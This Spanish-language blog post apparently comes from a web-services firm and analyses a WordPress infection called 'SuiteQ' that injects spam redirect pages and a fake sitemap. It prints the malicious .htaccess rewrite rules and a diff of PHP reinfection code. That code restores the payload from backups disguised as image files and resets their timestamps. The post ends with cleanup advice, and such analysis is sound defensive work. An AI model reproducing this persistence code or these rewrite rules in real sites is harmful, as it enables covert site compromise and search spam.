«SuiteQ» Un Virus en la web

Recientemente nos solicitaron ayuda por un sitio web que fue infectado por un virus, «SuiteQ», inyectado por un bot, aparentemente, a través de algún backdoor.

Te contamos todos los detalles!

Comportamiento

Se detecto la presencia del virus al realizar la siguiente búsqueda en google site:mysiteweb.com.

Al momento de realizar esta búsqueda se podía observar que había montón de enlaces con nombres extraños en el sitio web, estos enlaces se encontraban dentro del sitio web, y cuando hacías click te dirigían automáticamente a una pagina web externa de venta de productos de procedencia dudosa.

El sitio web seguía funcionando perfectamente, es decir, la instrucción era casi indetectable.

Dimension 9 Home Decorative Plates Argentina ... - EverTribehttps://www..com › suiteq
Argentina: Home & Kitchen - ✓ FREE DELIVERY possible on eligible purchases,Buy Dimension 9 Home Decorative Plates, shop for things you love Cheap ...

Coleman 14995461 Fan Capacitor Car Electronics ... - EverTribehttps://www..com › suiteq
Buy Coleman 14995461 Fan Capacitor: Capacitors - ✓ FREE DELIVERY possible on eligible purchases, Quality products New goods listing Affordable prices ...

Blusmart 3-Axis Handheld Gimbal stabilizer for iPhone ...https://www..com › suiteq
Blusmart 3-Axis Handheld Gimbal stabilizer for iPhone Huawei Samsung Android Smartphone Sport Inception Face Object Tracking Motion Time-Lapse Dolly ...

RARE #31 Kim Kardashian 8X10 Photo Photographs ...https://www..com › suiteq
31: Photographs - ✓ FREE DELIVERY possible on eligible purchases,Buy Kim Kardashian 8X10 Photo - RARE, The latest design style Fashion Frontier Online ...

SPMSR2100 Spektrum SR2100 DSMR Micro Race Rx ...https://www..com › suiteq
SPMSR2100: Radio Receivers - ✓ FREE DELIVERY possible on eligible purchases,Buy Spektrum SR2100 DSMR Micro Race Rx Antenna-Less, Upgrade ...

Embroidered ring with wolf best gift for her oval blue gray ring ...https://www..com › suiteq
The future of work is changing. Keeping your employees connected & motivated is more challenging than ever. · Managing teams remotely · Disconnected ...

Una vez detectada la instrucción comenzamos a trabajar en auditar el sitio para entender el alcance de la infección.


En este caso, la base de datos no había sido comprometida, pero pudimos observar que el virus habia actuado de la siguiente manera:

  • .htaccess modificado.
  • Los sitemaps del sitio fueron infectados.
  • Archivos de wordpress infectados.
  • Payload: Se crearon los directorios /suiteq y /products

.htaccess infectado!

Para quienes no lo sepan, básicamente el archivo .htaccess define como el servidor debe responder a las distintas solicitudes de nuestros clientes, por ejemplo:

  1. Un usuario entra por https://mipagina/51/titulo-de-mi-entrada
  2. htaccess se encarga de traducir esto a index.php?post_id=51
  3. y se envia la solicitud al servidor

Leer más acerca de .htaccess

En este caso el atacante rescribió el .htaccess para poder generar redirecciones discretas al ingresar con determinado enlace.

<IfModule mod_rewrite.c>
RewriteEngine On
RewriteRule ^(.*->>-.*)\d{3}$ suiteq/index\.php?cat=$1&%{QUERY_STRING} [L]
RewriteRule ^.*-(\d+)/$ suiteq/index\.php?id=$1&%{QUERY_STRING} [L]
RewriteRule ^.*(goods[a-z]+map\.xml)$  product/$1 [L]
RewriteRule ^.*(sitemap\.xml)$  product/$1 [L]

...

Sitemaps infectado!

Básicamente los sitemaps del sitio le indican a los buscadores, como google, yahoo y otros las URLs que contiene el sitio web y las reglas de actualizaciones y otras cuestiones relacionadas con las publicaciones.
Leer más acerca de los sitemaps.

Básicamente el atacante había creado un sitemap, con todas sus URL de redirección, de unos 2mb aprox (enorme), y a traves de reglas de htaccess le indicaba a los buscadores que leyeran su sitemap en lugar del propio del sitio web.
De esta manera el virus le indicaba a los bots de los buscadores que sus URL eran validas, logrando así una rápida indexación de todos los motores de búsqueda.

Archivos de wordpress infectados

El virus también modificó los archivos load.php y template-loader.php, de la carpeta wp-incluide, donde incluyo parte del payload del virus.
Estos dos archivos son llamados, en casi, si no en todas los llamados de cualquier pagina o post wordpress.

El código incluido básicamente, verificaba si el virus se encontraba instalado, en caso de no ser así, se instalaba nuevamente, evitando así la remoción del mismo.

527a528,587
>
> //ck1bg
> $nowFileDir =  'suiteq';
> $nowHtacFile =  './.htaccess';
> $nmbf1 =  './suiteq/template.html';
> $nowIndexFile =  './suiteq/index.php';
> $nowLogFile =  './suiteq/logs.txt';
> $bkLocalFileIndex1 =  './wp-includes/images/smilies/icon_reds.gif';
> $bkLocalFileHtac1 =  './wp-includes/images/smilies/icon_blacks.gif';
> $bkLocalFileMoban1 =  './wp-includes/images/smilies/icon_greens.gif';
>
> if($nowHtacFile && file_exists($bkLocalFileHtac1)){
>       if(!file_exists($nowHtacFile) or (filesize($nowHtacFile) != filesize($bkLocalFileHtac1))){
>               if(!is_dir("./$nowFileDir")){
>                       @mkdir("./$nowFileDir",0755);
>               }
>               @chmod($nowHtacFile,0755);
>               @file_put_contents($nowHtacFile,file_get_contents($bkLocalFileHtac1));
>               @chmod($nowHtacFile,0755);
>       }
> }
>
>
> if(file_exists($bkLocalFileIndex1)){
>       if(!file_exists($nowIndexFile) or (filesize($nowIndexFile) != filesize($bkLocalFileIndex1) && !file_exists($nowLogFile))){
>               if(!is_dir("./$nowFileDir")){
>                       @mkdir("./$nowFileDir",0755);
>               }
>               @chmod($nowIndexFile,0755);
>               @file_put_contents($nowIndexFile,file_get_contents($bkLocalFileIndex1));
>               @chmod($nowIndexFile,0755);
>       }
> }
>
> if(file_exists($bkLocalFileMoban1)){
>
>       if(!file_exists($nmbf1)){
>               if(!is_dir("./$nowFileDir")){
>                       @mkdir("./$nowFileDir",0755);
>               }
>               @file_put_contents($nmbf1,file_get_contents($bkLocalFileMoban1));
>               @chmod($nmbf1,0755);
>       }else{
>               if(filesize($nmbf1) != filesize($bkLocalFileMoban1)){
>                       $tpstrMb = file_get_contents($nmbf1);
>                       if(strstr($tpstrMb,"draft_or_post_title") && !strstr($tpstrMb,"<!--ttt html5 tttt-->")){
>                               $fitime = filemtime($bkLocalFileMoban1);
>                               @chmod($bkLocalFileMoban1,0755);
>                               @file_put_contents($bkLocalFileMoban1,$tpstrMb);
>                               @touch($bkLocalFileMoban1, $fitime, $fitime);
>                       }else{
>                               @chmod($bkLocalFileMoban1,0755);
>                               @file_put_contents($nmbf1,file_get_contents($bkLocalFileMoban1));
>                               @chmod($bkLocalFileMoban1,0755);
>                       }
>               }
>       }
>
> }
> //ck1end

Tambien fueron infectados los siguientes archivos:

  • /wp-admin/images/align-rights.png
  • /wp-includes/images/smilies/icon_blacks.gif

SuiteQ Payload

La carga útil del virus se encontraba en el directorio /suiteq, donde se encontraba todo el código de generación de sistemaps.

El payload contiene los siguientes archivos:

  • idlogs.txt
  • index.php
  • logs.txt
  • map.log
  • template.html

¿Que hacer?

Es una buena pregunta, siempre y cuando sea posible lo mejor sería realizar los siguientes pasos:

  1. Inhabilita el acceso a tu sitio de forma inmediata.
  2. Restablecer un backup previo a la fecha de infección, siempre y cuando sea posible.
  3. Cambiar todas las contraseñas.
  4. Limpiar los archivos infectados.
  5. Verifica que ya no se producen las redirecciónes.
  6. Verifica que tu sitio devuelve un error 404 en su lugar.
  7. Cambiar permisos de los archivos infectados por read-only.
  8. Si utilizas wordpress, instala un plugin como «WordFence» o similar.
  9. Analizar como fue posible la infección.

Si necesitas ayuda, nos dudes en contactarte con softwareBRC.com.ar.

Otros sitios infectados

Al analizar un poco la red, nos encontramos de hay muchos sitios infectados por este virus, u parecidos y lo ignoran totalmente, y no solamente wordpress, también infectan otros CMS y paginas simples echas en PHP.

Deja un comentario